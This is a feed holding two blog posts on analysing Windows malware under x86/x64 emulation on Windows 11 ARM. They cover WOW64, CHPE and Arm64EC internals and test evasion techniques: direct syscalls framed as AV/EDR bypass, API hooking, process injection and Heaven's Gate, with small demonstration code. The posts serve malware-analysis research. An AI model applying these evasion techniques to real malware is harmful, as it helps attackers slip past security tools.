tag:int0xcc.svbtle.com,2014:/feedRaashid Bhat2024-03-07T23:30:42-08:00Raashid Bhathttps://int0xcc.svbtle.comraashidbhatt@gmail.comSvbtle.comtag:int0xcc.svbtle.com,2014:Post/analysing-windows-malware-on-apple-mac-m1-m2-windows-11-arm-part-ii2024-03-07T23:30:42-08:002024-03-07T23:30:42-08:00Analysing Windows Malware on Apple Mac M1/M2 ( Windows 11 ARM ) - Part II
<h1 id="testing-advanced-x8664-malware-evasion-techni_1">Testing advanced x86-64 malware evasion techniques on Windows 11 ARM <a class="head_anchor" href="#testing-advanced-x8664-malware-evasion-techni_1">#</a>
</h1>
<p>In the previous post, we explored the internals of WOW64 on Windows 11 ARM version. <a href="https://int0xcc.svbtle.com/apple-m2-or-windows-arm-for-malware-analysis">x86/x64 emulation internals on Windows 11 ARM</a></p>
<p>However, there are many intricacies in malware; i.e., they exploit and manipulate the runtime environment in a way that sometimes normal execution would be hampered or an emulated system would not work correctly.</p>
<p>So, in this blog post, we will test some of the common techniques used by malware which might cause some emulation issues and see what would be the success rate of it.</p>
<p>The tests that we will perform are </p>
<ul>
<li>Invoking SYSCALL instead of system API’s </li>
<li>API hooking </li>
<li>Process Injection </li>
<li>Heaven’s Gate transition </li>
</ul>
<h1 id="invoking-syscall-instead-of-system-api39s_1">Invoking SYSCALL instead of system API’s <a class="head_anchor" href="#invoking-syscall-instead-of-system-api39s_1">#</a>
</h1>
<p>Most of the <code class="prettyprint">kernel32.dll</code> API exports eventually land in <code class="prettyprint">ntdll.dll</code> where a syscall is made (most of them happen to be the <code class="prettyprint">Zw*</code> versions of the API calls), i.e., Native API. These are the user-mode calls to the Win32/Win64 kernel land.</p>
<p><a href="https://svbtleusercontent.com/fQPVi52KFkfcEgjbYF7jGL0xspap.jpeg"><img src="https://svbtleusercontent.com/fQPVi52KFkfcEgjbYF7jGL0xspap_small.jpeg" alt="word-image-313791-1.jpeg"></a><br>
<em>Image: paloalto networks</em></p>
<p>Let’s compile a sample application that performs a direct x64 SYSCALL to see if it gets executed on Windows 11 ARM.</p>
<p>we will use an example given from <a href="https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs">ired.team</a></p>
<blockquote class="short">
<p>syscall.c </p>
</blockquote>
<pre><code class="prettyprint">#include <Windows.h>
#include <winternl.h>
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
int main()
{
OBJECT_ATTRIBUTES oa;
HANDLE fileHandle = NULL;
NTSTATUS status = NULL;
UNICODE_STRING fileName;
IO_STATUS_BLOCK osb;
WCHAR lpBuffer[MAX_PATH] = {0};
WCHAR lpFinalPath[MAX_PATH] = {0};
GetCurrentDirectoryW(MAX_PATH,lpBuffer);
wcscpy(lpFinalPath, L"\\??\\");
wcscat(lpFinalPath, lpBuffer);
wcscat(lpFinalPath, L"\\test.txt");
RtlInitUnicodeString(&fileName, (PCWSTR)lpFinalPath);
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
return 0;
}
</code></pre>
<blockquote class="short">
<p>syscallFile.asm</p>
</blockquote>
<pre><code class="prettyprint">.code
SysNtCreateFile proc
mov r10, rcx
mov eax, 55h
syscall
ret
SysNtCreateFile endp
end
</code></pre>
<p><code class="prettyprint">ml64.exe syscallFile.asm</code> would result in the 64-bit assembly being compiled into an object file, which will be linked with the object file from the C code.</p>
<pre><code class="prettyprint">cl syscall.c ntdll.lib user32.lib syscallFile.obj
Microsoft (R) C/C++ Optimizing Compiler Version 19.38.33135 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
syscall.c
syscall.c(23): warning C4047: 'initializing': 'NTSTATUS' differs in levels of indirection from 'void *'
Microsoft (R) Incremental Linker Version 14.38.33135.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:syscall.exe
syscall.obj
ntdll.lib
user32.lib
syscallFile.obj
</code></pre>
<p>This essentially creates an empty file using <code class="prettyprint">NtCreateFile</code>, which has the SYSCALL number 0x55. If successful, it will drop an empty file in the current directory. The test was successful, as it created that empty file in the current directory.</p>
<p><a href="https://svbtleusercontent.com/mkhKNivdK9MDkum5ZPdhiQ0xspap.png"><img src="https://svbtleusercontent.com/mkhKNivdK9MDkum5ZPdhiQ0xspap_small.png" alt="Screenshot 2024-03-10 at 3.58.20 PM.png"></a></p>
<h1 id="api-hooking-test_1">API Hooking Test <a class="head_anchor" href="#api-hooking-test_1">#</a>
</h1>
<p>Malware employs API hooking as a mechanism to intercept and modify the behavior of application programming interfaces (APIs) provided by the operating system. By inserting code snippets known as hooks into the API function tables, malware can intercept API calls made by legitimate processes, redirecting them to its own code for manipulation or analysis. This allows the malware to gain control over system activities, such as file operations, network communication, and process management, enabling malicious actions such as data exfiltration, privilege escalation, and system compromise.</p>
<p>As mentioned in my previous blog <a href="https://int0xcc.svbtle.com/apple-m2-or-windows-arm-for-malware-analysis">x86/x64 emulation internals on Windows 11 ARM</a>, FFS (fast-forward sequence) is provided for this purpose only so that hooking becomes possible. As mentioned in Microsoft docs, these sequences are mostly skipped because fast-forward sequences precisely do nothing; it would be a waste of emulation to run these instructions every time other than when a change is detected, i.e., in the case of hooking.</p>
<p>Let us try to first compile a sample application that uses Microsoft Detours for hooking. One of the features of Microsoft Detours is that it supports x86, x64, Itanium, and ARM processors.</p>
<pre><code class="prettyprint">#include <windows.h>
#include <stdio.h>
#include "detours.h"
HANDLE WINAPI MyCreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
)
{
printf("\nCreateFileA hook called ... ");
return INVALID_HANDLE_VALUE;
}
HANDLE(WINAPI* pCreateFileA) (
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
int main(int argc, char **argv)
{
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
if (hKernel32 == NULL) {
// Handle the error
return 1;
}
pCreateFileA = (HANDLE(__cdecl*)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) )GetProcAddress(hKernel32, "CreateFileA");
DetourAttach(&(PVOID&)pCreateFileA, MyCreateFileA);
if (DetourTransactionCommit() == NO_ERROR)
{
}
else
{
printf("Unbale to load Detours engine ..");
return EXIT_FAILURE;
}
const char* filePath = "example.txt";
// Open the file for reading and writing
HANDLE hFile = CreateFileA(
filePath, // File path
GENERIC_READ | GENERIC_WRITE, // Desired access (read and write)
0, // Share mode (not shared)
NULL, // Security attributes (default)
OPEN_ALWAYS, // Creation disposition (open or create if not exists)
FILE_ATTRIBUTE_NORMAL, // File attributes (normal)
NULL // Template file (not used)
);
if (hFile != INVALID_HANDLE_VALUE) {
printf("File opened successfully!\n");
CloseHandle(hFile);
}
else {
DWORD dwError = GetLastError();
fprintf(stderr, "Failed to open the file. Error code: %lu\n", dwError);
}
return EXIT_SUCCESS;
}
</code></pre>
<p><a href="https://svbtleusercontent.com/fTsDgFxxVEKgwHsxRyjqxR0xspap.png"><img src="https://svbtleusercontent.com/fTsDgFxxVEKgwHsxRyjqxR0xspap_small.png" alt="Screenshot 2024-03-10 at 10.23.28 PM.png"></a></p>
<p>As we can see here, a hook is being called after <code class="prettyprint">CreateFileA</code> is invoked. Similarly, if compiled as an ARM binary, it would also function properly. FFS in ARM is instead based on a JUMP table.</p>
<p>Compiling the same application for ARM would require a few changes, including linking against a <code class="prettyprint">detours.lib</code> compiled specifically for ARM.</p>
<p><a href="https://svbtleusercontent.com/tv2aKdFgMPj4hhrDQNxavR0xspap.png"><img src="https://svbtleusercontent.com/tv2aKdFgMPj4hhrDQNxavR0xspap_small.png" alt="detours.png"></a></p>
<p><a href="https://svbtleusercontent.com/iVqdTJUn7CQjb44KE4cXaW0xspap.png"><img src="https://svbtleusercontent.com/iVqdTJUn7CQjb44KE4cXaW0xspap_small.png" alt="armdetours.png"></a></p>
<p>From WinDBG, we can observe a jump table where the transition from <code class="prettyprint">kernel32.dll</code> to <code class="prettyprint">kernelbase.dll</code> occurs. This approach is similar to the 5-instruction FFS (fast forward sequence) in x64 <code class="prettyprint">kernel32.dll</code>.</p>
<p><a href="https://svbtleusercontent.com/voa9Hb3iXbBQ2wzQTCsP4q0xspap.png"><img src="https://svbtleusercontent.com/voa9Hb3iXbBQ2wzQTCsP4q0xspap_small.png" alt="Screenshot 2024-03-11 at 12.34.25 PM.png"></a></p>
<h1 id="process-injection_1">Process Injection <a class="head_anchor" href="#process-injection_1">#</a>
</h1>
<p>Most of executable type of windows malware are still x86 , so we will be checking injection on x86 binaries . </p>
<p>Malware often attempts to inject code into legitimate processes to evade detection, maintain persistence, and execute malicious activities without raising suspicion. Some of the commonly targeted processes for code injection by malware include:</p>
<p><strong>Explorer.exe</strong>: As the Windows shell process responsible for managing the desktop and file management operations, injecting code into Explorer.exe allows malware to gain extensive control over the user’s system and interact with the graphical user interface.</p>
<p><strong>svchost.exe</strong>: Since svchost.exe hosts multiple Windows services, injecting code into this process provides malware with the ability to execute arbitrary commands with system-level privileges, facilitating various malicious activities.</p>
<p><strong>services.exe</strong>: As the Service Control Manager (SCM) process responsible for managing system services, injecting code into services.exe grants malware the ability to manipulate system services, modify system configurations, and execute arbitrary commands with elevated privileges.</p>
<p>Code injection, in general, involves launching a suspended instance of the executable and injecting/mapping/rebasing the malicious code into the process. The execution is then resumed either by changing the thread context of the original main thread to point towards the newly injected code or by creating a new thread that resumes execution at the injected code.</p>
<p><a href="https://svbtleusercontent.com/8c8Fn8Wn8G4JXAiqeyKuno0xspap.jpg"><img src="https://svbtleusercontent.com/8c8Fn8Wn8G4JXAiqeyKuno0xspap_small.jpg" alt="pic.jpg"></a><br>
<em>image:cynet.com</em></p>
<p>But this raises the question: how would cross-injection work if the platform is Windows ARM and not x86?</p>
<p>To address this issue, there is a mechanism known as <strong>WOW64 FS redirection</strong>. Applications running under WOW64 have their file paths and registry paths redirected. Hence, under WOW64, system DLLs are loaded from the <code class="prettyprint">C:\Windows\SysWOW64\</code> folder instead of <code class="prettyprint">system32</code>, which would contain 64-bit DLLs under a x64 operating system.</p>
<p>Most of the system32 DLLs and executables for the emulated architecture (x86 or x64) are provided in the redirected folder (<code class="prettyprint">SysWOW64</code>). The DLLs and executables are compiled as x86 or x64 binaries.</p>
<p>Therefore, considering this redirection, the issue of binary type and path is already addressed.</p>
<p>Let’s take a practical example from a well-known Tofsee trojan. In Tofsee, the injection is done by launching a suspended version of <code class="prettyprint">svchost.exe</code>.</p>
<p><a href="https://svbtleusercontent.com/g8LRuPAhxYpFRYMdT59cpJ0xspap.png"><img src="https://svbtleusercontent.com/g8LRuPAhxYpFRYMdT59cpJ0xspap_small.png" alt="Screenshot 2024-03-14 at 2.24.33 PM.png"></a></p>
<p>Debugging the malware to see if it successfully executes, we clearly observe the process being created and the injection is successful.</p>
<p><a href="https://svbtleusercontent.com/b7pPij8j2MctegycrddFyp0xspap.png"><img src="https://svbtleusercontent.com/b7pPij8j2MctegycrddFyp0xspap_small.png" alt="Screenshot 2024-03-15 at 1.24.29 PM.png"></a></p>
<h1 id="heaven39s-gate_1">Heaven’s Gate <a class="head_anchor" href="#heaven39s-gate_1">#</a>
</h1>
<p>In the WOW64 environment, 32-bit applications run in a subsystem that emulates a 32-bit operating system on a 64-bit version of Windows. Normally, these applications cannot directly execute 64-bit code due to architectural limitations. However, Heaven’s Gate allows a WOW64 subsystem to enable a 32-bit process to execute 64-bit code directly.</p>
<p>The typical method to call any system services in Windows 32-bit on Windows 64-bit is a far jump known as Heaven’s Gate. This transition takes the call from 32-bit <code class="prettyprint">ntdll.dll</code> to 64-bit <code class="prettyprint">ntdll.dll</code> on Windows via <code class="prettyprint">j_Wow64Transition</code>, and from there, a SYSCALL is executed. However, this only occurs on a WOW64 subsystem. Instead, in a native 32-bit subsystem, the translation to kernel land used to take place using the legacy <code class="prettyprint">int 0x2E</code> Interrupt Gate, which eventually lands the code in the kernel at <code class="prettyprint">KiSystemService()</code>.</p>
<p><a href="https://svbtleusercontent.com/tTQ58NZZxiZJaD7gxfk1V60xspap.jpeg"><img src="https://svbtleusercontent.com/tTQ58NZZxiZJaD7gxfk1V60xspap_small.jpeg" alt="Imported File.jpeg"></a></p>
<p>Either way, let’s experiment to see if an x86-64 Heaven’s Gate can be simulated in Windows ARM.</p>
<p>For this, we will write a simple Heaven’s Gate program that does nothing but a simple jump to Heaven’s Gate and back using far return.</p>
<pre><code class="prettyprint">#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
__declspec(naked) void HeavensGate(void)
{
__asm
{
push 0x33
call next
next:
add [esp], 5
retf
__emit(0xE8)
__emit(0)
__emit(0)
__emit(0)
__emit(0)
__emit(0xC7)
__emit(0x44)
__emit(0x24)
__emit(4)
__emit(0x23)
__emit(0)
__emit(0)
__emit(0)
__emit(0x83)
__emit(4)
__emit(0x24)
__emit(0xD)
__emit(0xCB)
ret
}
}
int main( int argc, char **argv)
{
printf("Entering Heavens gate ...");
HeavensGate();
printf("\nLeaving Heavens gate ...");
return 0;
}
</code></pre>
<p>Not surprisingly, it fails on Windows 11 ARM because the far jumps are not implemented in the x86 emulator on Windows ARM.</p>
<p>So one of the failures that would occur while trying to emulate the x86 binary on Windows 11 ARM would be a malware attempting to use Heaven’s Gate to either switch to its 64-bit variant or trying to make a 64-bit syscall (for EDR bypass or hook bypass).</p>
<p>A way to circumvent this is to dump the shellcode after the <code class="prettyprint">retf</code> (provided it doesn’t share any context with the 32-bit binary, e.g., handles or objects) and create a binary blob out of it.</p>
<p>In summary, while techniques such as invoking syscalls, API hooking, process injection, and remapping/manual loading of system DLLs showcased promising results for dynamically analyzing x86-64 malware on Windows 11 ARM under WOW64 emulation, the challenges encountered with the Heaven’s Gate transition. </p>
tag:int0xcc.svbtle.com,2014:Post/apple-m2-or-windows-arm-for-malware-analysis2024-03-04T04:51:04-08:002024-03-04T04:51:04-08:00Analysing Windows Malware on Apple Mac M1/M2 ( Windows 11 ARM ) - Part I
<h1 id="x86x64-emulation-internals-on-windows-11-arm_1">x86/x64 emulation internals on Windows 11 ARM <a class="head_anchor" href="#x86x64-emulation-internals-on-windows-11-arm_1">#</a>
</h1>
<p><a href="https://svbtleusercontent.com/6JR2k3Cd5V5inqHBFWmzTm0xspap.jpeg"><img src="https://svbtleusercontent.com/6JR2k3Cd5V5inqHBFWmzTm0xspap_small.jpeg" alt="Note 25-Dec-2023 at 50035 PM copy.jpeg"></a></p>
<h2 id="introduction_2">Introduction <a class="head_anchor" href="#introduction_2">#</a>
</h2>
<p>Since the introduction of Intel processors for the MacBooks, malware analysis on Mac has become quite popular, and it has become the hardware of choice for malware analysts.</p>
<p>With the introduction of the Mac M1, the landscape has changed significantly. The processor is no longer Intel-based but ARM-based. This shift has caused heartbreak for malware analysts, as native virtualization is necessary for effective malware analysis. While emulation like qemu is possible, it often proves to be more trouble than it is worth, serving as a nuisance.</p>
<p>Fortunately, there exists a version of Windows that can run natively on ARM hardware—the Windows ARM version OS. This offers backward compatibility and includes an emulation layer for running both 32-bit and 64-bit Windows applications. Combining these capabilities provides a viable solution for users.</p>
<p>While emulation works well with normal applications, today, we will explore in this blog post the challenges that malware analysts can encounter while analyzing malware on Windows ARM OS using WOW64ARM.</p>
<p>Malware analysis on Windows ARM OS presents unique obstacles due to the emulation layer WOW64ARM. In this post, we’ll delve into the specific issues faced by analysts in this context, shedding light on the complexities and limitations inherent in the process</p>
<p>But before we begin we need to go deeper into some of the windows internal concepts that allow the translation to take place . </p>
<h2 id="wow64_2">WOW64 <a class="head_anchor" href="#wow64_2">#</a>
</h2>
<p><a href="https://svbtleusercontent.com/ikzyGGKQFmNTaKHwCp2sBv0xspap.png"><img src="https://svbtleusercontent.com/ikzyGGKQFmNTaKHwCp2sBv0xspap_small.png" alt="Screenshot 2024-02-20 at 2.20.56 PM.png"></a><br>
<em>illustration : Stack Overflow</em><br>
On a native x86 processor, system calls are performed via an interrupt, i.e., int 2e, as there is no translation required. However, when a 32-bit application is executed on Windows x64 WOW64, transition is done via a call gate known as ‘heaven’s gate’.</p>
<p>On a WOW64 process, four extra DLLs are loaded:</p>
<ul>
<li>
<code class="prettyprint">ntddl</code> (64-bit)</li>
<li><code class="prettyprint">wow64.dll</code></li>
<li><code class="prettyprint">wow64win.dll</code></li>
<li><code class="prettyprint">wow64cpu.dll</code></li>
</ul>
<p>Eventually, the call is routed via <code class="prettyprint">wow64cpu.dll</code>, where the far jump to 64-bit code takes place inside the <code class="prettyprint">Wow64Transition</code> function and lands inside the 64-bit version of <code class="prettyprint">ntdll.dll</code>. Before jumping, the processor state is saved and eventually restored when the translation back to 32-bit happens via the <code class="prettyprint">BTCpuSimulate</code> function. With this, essentially it is not emulating 32-bit code but providing a bridge between 32-bit and 64-bit, as the 64-bit processor is able to execute 32-bit code.</p>
<p>An ARM processor cannot execute any Intel processor instructions. So, in the case of WOW64 on Windows ARM, there is actually an emulation layer provided.</p>
<h2 id="x86-on-windows-arm_2">x86 on Windows ARM <a class="head_anchor" href="#x86-on-windows-arm_2">#</a>
</h2>
<p>Emulation of x86 applications on ARM64 is done via binary translation. This is handled by <code class="prettyprint">xtajit.dll</code> instead of <code class="prettyprint">wow64cpu.dll</code>.</p>
<p>Binary JIT Translation happens in <code class="prettyprint">xtajit.dll</code>. x86 instructions are translated into ARM on the fly and further saved in a cache for faster future retrieval.</p>
<p>This is quite different from WOW64 on 64-bit, which offers “emulation” at native speed as instructions are not emulated; rather, they are executed at native speeds.</p>
<p>If we look at the loaded modules of x86 binary on Windows ARM, we notice some of the paths:</p>
<p><img src="https://svbtleusercontent.com/vGtBNacc6p1wuw4ZD44Ric0xspap_small.png" alt="chpeModules.png"></p>
<p>Some of the peculiar paths are:</p>
<ul>
<li>C:\Windows\SyChpe32</li>
<li>C:\Windows\XtaCache</li>
<li>C:\Windows\System32</li>
</ul>
<p>DLL files loaded from <code class="prettyprint">SyChpe32</code> are the compiled hybrid portable executable (CHPE) DLLs. These will be discussed later. These are basically the x86 version of DLLs, as well as containing ARM code. So, they are Hybrid DLLs. CHPE DLLs for most of the exported APIs provide a jump thunk which is in x86/x64 followed by a jump towards a special section that consists of ARM code. This skips up the process of JIT translation needed further, almost achieving native speeds when code is in system DLLs.</p>
<pre><code class="prettyprint lang-asm">u 75d46230
KERNEL32!EXP+#VirtualAlloc:
75d46230 8bff mov edi,edi
75d46232 55 push ebp
75d46233 8bec mov ebp,esp
75d46235 5d pop ebp
75d46236 90 nop
75d46237 e9c4990000 jmp KERNEL32!#VirtualAllocStub (75d4fc00)
75d4623c cc int 3
75d4623d cc int 3
0:000> u 75d4fc00
KERNEL32!#VirtualAllocStub:
75d4fc00 8807 mov byte ptr [edi],al
75d4fc02 00b008b12111 add byte ptr [eax+1121B108h],dh
75d4fc08 09fd or ebp,edi
75d4fc0a df8820011fd6 fisttp word ptr [eax-29E0FEE0h]
75d4fc10 0000 add byte ptr [eax],al
75d4fc12 0000 add byte ptr [eax],al
75d4fc14 0000 add byte ptr [eax],al
75d4fc16 0000 add byte ptr [eax],al
</code></pre>
<p><code class="prettyprint">0x75d46230</code> is the x86 jump thunk and <code class="prettyprint">VirtualAllocStub</code> is actually an ARM instruction for the same API call </p>
<p>and when we change the assembly type to ARM we get the real instructions </p>
<pre><code class="prettyprint lang-asm">75d4fc00 0788 lsls r0,r1,#0x1E
75d4fc02 b000 add sp,sp,#0
75d4fc04 b108 cbz r0,KERNEL32!#VirtualAllocStub+0xa (75d4fc0a)
75d4fc06 1121 asrs r1,r4,#4
75d4fc08 fd0988df stc2 p8,c8,[r9,#-0x37C]
75d4fc0c 0120 lsls r0,r4,#4
75d4fc0e d61f bvs KERNEL32!QuirkIsEnabled3Worker+0x30 (75d4fc50)
75d4fc10 0000 movs r0,r0
</code></pre>
<p>This is the basic idea behind CHPE executables as they are hybrid, consisting of both Intel and ARM assembly code.</p>
<p><a href="https://svbtleusercontent.com/jfTpFzZ5t2nRtxW7q2hAw20xspap.jpeg"><img src="https://svbtleusercontent.com/jfTpFzZ5t2nRtxW7q2hAw20xspap_small.jpeg" alt="Note 25-Dec-2023 at 50035 PM.jpeg"></a></p>
<h2 id="x64-on-windows-arm-chpe-version-2_2">X64 on Windows ARM (CHPE version 2) <a class="head_anchor" href="#x64-on-windows-arm-chpe-version-2_2">#</a>
</h2>
<p>Windows on ARM with x64 emulation support was introduced with the release of Windows 10 version 2004 (May 2020 Update). This update brought the capability for ARM-based Windows devices to run x64 (64-bit) applications through emulation, expanding the range of software that can be run on these devices.</p>
<p>It also included a version of CHPE V2, slightly different from the older CHPE version 1. X64 emulation on Windows ARM comes in two different flavors:</p>
<ul>
<li>Arm64EC (Emulation Compatible)</li>
<li>ARM64X</li>
</ul>
<h2 id="arm64ec-emulation-compatible_2">Arm64EC (Emulation Compatible) <a class="head_anchor" href="#arm64ec-emulation-compatible_2">#</a>
</h2>
<p>In Arm64EC, you can mix both x64 and ARM code in a single binary. It provides a form of interoperability between the two architecture formats.</p>
<p>Developers can take advantage of this interoperability and significantly increase the speed of applications.</p>
<p>Arm64EC provides an ABI (application binary interface) to provide this interoperability between x64 and ARM code, which includes, but is not limited to:</p>
<ul>
<li>Register mapping</li>
<li>Exit and entry thunks</li>
<li>Calling conventions</li>
</ul>
<p>Let’s try to compile a sample Arm64EC executable and see how it looks after linking.</p>
<pre><code class="prettyprint lang-c">extern int hello();
int function1()
{
int a = 10;
a = a + 100;
return a;
}
int main()
{
int b = 0;
b++;
b = function1();
if (b > 100)
{
return b;
}
hello();
return b; // To bypass any optimization
}
</code></pre>
<p>To observe how x64 code gets translated into ARM, we will use x64 code and compile it using ml64.exe into an object file which we will link later.</p>
<pre><code class="prettyprint lang-asm">.code
hello PROC
xor rax, rax
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
ret
hello ENDP
END
</code></pre>
<blockquote class="short">
<p>ml64 /c x64asm.asm </p>
</blockquote>
<p>To compile a ARM64EC ( emulation compatible binary ) we can use the visual studio developer tools for ARM64 <code class="prettyprint">vcvarsarm64.bat</code></p>
<p>To compile an ARM64EC binary use the following command line</p>
<blockquote class="short">
<p>cl /arm64EC sample.c /c<br>
link /MACHINE:ARM64EC sample.obj x64asm.obj /entry:main</p>
</blockquote>
<p>We can verify the same using the <code class="prettyprint">dumpbin</code> tool to check for machine type header </p>
<pre><code class="prettyprint">dumpbin sample.exe /headers
</code></pre>
<p><a href="https://svbtleusercontent.com/66cA17iUFN61Geo9Rh2VQz0xspap.png"><img src="https://svbtleusercontent.com/66cA17iUFN61Geo9Rh2VQz0xspap_small.png" alt="Screenshot 2024-02-27 at 9.50.52 PM.png"></a></p>
<p>Lets see how this binary looks from inside .</p>
<p><a href="https://svbtleusercontent.com/eutaEFBhT96kAQNofEtw540xspap.png"><img src="https://svbtleusercontent.com/eutaEFBhT96kAQNofEtw540xspap_small.png" alt="Screenshot 2024-02-28 at 3.24.31 PM.png"></a></p>
<p>As we can see, there is just an entry thunk of 64-bit code; the rest of the code is converted into ARM64 after the JMP instruction. Important to note here is that x64 code is present in the <code class="prettyprint">.hexpthk</code> section of the binary, and ARM code is present in the <code class="prettyprint">.text</code> section of the binary. <code class="prettyprint">.hexpthk</code> consists of thunks used for interoperability between two 64-bit PE binaries.</p>
<p>Also, these entry sequences are known as Fast-Forward Sequences, which help if the base application is trying to hook the API call. FFS sequences finally lead to a tail-call to the real Arm64EC function.</p>
<p>ARM64EC code is an ahead-of-time precompiled version of a particular x64 function done during compilation, not during execution. Only x64 code is JIT compiled and executed.</p>
<pre><code class="prettyprint">Hybrid Code Address Range Table
Address Range
----------------------
arm64ec 0000000140001000 - 00000001400027E3 (00001000 - 000027E3)
x64 0000000140003000 - 000000014000400F (00003000 - 0000400F)
</code></pre>
<p><a href="https://svbtleusercontent.com/8xJtyP1gjxyrTet2tGBbHn0xspap.png"><img src="https://svbtleusercontent.com/8xJtyP1gjxyrTet2tGBbHn0xspap_small.png" alt="sectionname.png"></a></p>
<blockquote class="short">
<p>So essentially this is 64bit Thunk > main() (arm ) </p>
</blockquote>
<p>Using the <code class="prettyprint">.effmach</code> meta-command of WinDbg, we can change the effective machine type to CHPE to retrieve the ARM assembly of the main function.</p>
<p><code class="prettyprint">.effmach chpe</code></p>
<pre><code class="prettyprint">u
00007ff7`445d1040 a9be7bfd stp fp,lr,[sp,#-0x20]!
00007ff7`445d1044 910003fd mov fp,sp
00007ff7`445d1048 52800008 mov w8,#0
00007ff7`445d104c b90013e8 str w8,[sp,#0x10]
00007ff7`445d1050 b94013e8 ldr w8,[sp,#0x10]
00007ff7`445d1054 11000508 add w8,w8,#1
00007ff7`445d105c 97ffffef bl sample+0x1018 (00007ff7`445d1018)```
</code></pre>
<p>This code is the translation of x64 to ARM assembly </p>
<pre><code class="prettyprint">int b = 0;
b++;
</code></pre>
<p>to </p>
<pre><code class="prettyprint">mov w8,#0
str w8,[sp,#0x10]
ldr w8,[sp,#0x10]
add w8,w8,#1
</code></pre>
<ul>
<li><p><code class="prettyprint">mov w8, #0</code>: This instruction moves the immediate value 0 into register w8. It initializes w8 with the value 0. </p></li>
<li><p><code class="prettyprint">str w8, [sp, #0x10]</code>: This instruction stores the value of register w8 onto the stack at an offset of 0x10 bytes from the stack pointer (sp). It saves the value of w8 into memory at a location relative to the current stack pointer. “<code class="prettyprint">int b = 0;</code></p></li>
<li><p><code class="prettyprint">ldr w8, [sp, #0x10]</code>: This instruction loads a word (32 bits) from the stack at an offset of 0x10 bytes from the stack pointer (sp) into register w8. It retrieves the value previously stored at that location on the stack.</p></li>
<li><p><code class="prettyprint">add w8, w8, #1</code>: This instruction adds the immediate value 1 to the value in register w8. It increments the value stored in w8 by 1. <code class="prettyprint">b++;</code></p></li>
</ul>
<p>Even the hardcoded x64 instructions mentioned above, which simply increment the rax register 10 times, are converted to ARM instructions, albeit in a vague form. This conversion is necessary due to the interoperability between the ARM and x64 ABIs.</p>
<p>”<code class="prettyprint">mov x8,x0<br>
00007ff7</code>e11d1110 a8c17bfd ldp fp,lr,[sp],#0x10<br>
00007ff7<code class="prettyprint">e11d1114 ad443fee ldp q14,q15,[sp,#0x80]<br>
00007ff7</code>e11d1118 ad4337ec ldp q12,q13,[sp,#0x60]<br>
00007ff7<code class="prettyprint">e11d111c ad422fea ldp q10,q11,[sp,#0x40]<br>
00007ff7</code>e11d1120 ad4127e8 ldp q8,q9,[sp,#0x20]<br>
00007ff7<code class="prettyprint">e11d1124 acc51fe6 ldp q6,q7,[sp],#0xA0<br>
00007ff7</code>e11d1128 d50323ff autibsp</p>
<pre><code class="prettyprint">``````asm
.code
hello PROC
xor rax, rax
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
add rax, 10
ret
hello ENDP
END
</code></pre>
<p>Now, for this version, the interoperability is such that an x64 binary can interact/load an ARM64EC binary and vice versa.</p>
<h2 id="arm64x_2">ARM64X <a class="head_anchor" href="#arm64x_2">#</a>
</h2>
<p>One of the issues with ARM64EC (emulation compatible) is the fact that only emulation-compatible binaries can load emulated x64 binaries. It is not possible to load an EC binary or x64 binary from a native ARM64 binary.</p>
<p><a href="https://svbtleusercontent.com/bWPQTVmwSjK4e6gdo89mgt0xspap.png"><img src="https://svbtleusercontent.com/bWPQTVmwSjK4e6gdo89mgt0xspap_small.png" alt="diagram .png"></a></p>
<p>To solve this issue, Microsoft has introduced a new binary/format known as ARM64X. ARM64X differs from ARM64EC in that it can be loaded from a 64-bit process. This is made possible by transforming the binaries during the loading phase using a new type of relocation called DVRT, i.e., dynamic value relocation table.</p>
<p>Let’s attempt to compile an ARM64X binary DLL and load it from both a 64-bit and ARM process to observe the changes in action.</p>
<blockquote class="short">
<p>DllSample.c</p>
</blockquote>
<pre><code class="prettyprint">__declspec(dllexport) int hello(int a, int b , int c)
{
return a + b + c;
}
</code></pre>
<blockquote class="short">
<p>Loader.c </p>
</blockquote>
<pre><code class="prettyprint">int main(int agrc, char **argv)
{
HINSTANCE hDLL = LoadLibrary("load.dll");
int (*hello)(int) =(int (__cdecl *)(int)) GetProcAddress(hDLL, "hello");
hello(10);
return 0;
}
</code></pre>
<pre><code class="prettyprint">
Microsoft (R) C/C++ Optimizing Compiler Version 19.38.33135 for ARM64
link load.obj /DLL /MACHINE:ARM64X /NODEFAULTLIB /NOENTRY
Microsoft (R) Incremental Linker Version 14.38.33135.0
Copyright (C) Microsoft Corporation. All rights reserved.
Creating library load.lib and object load.exp
</code></pre>
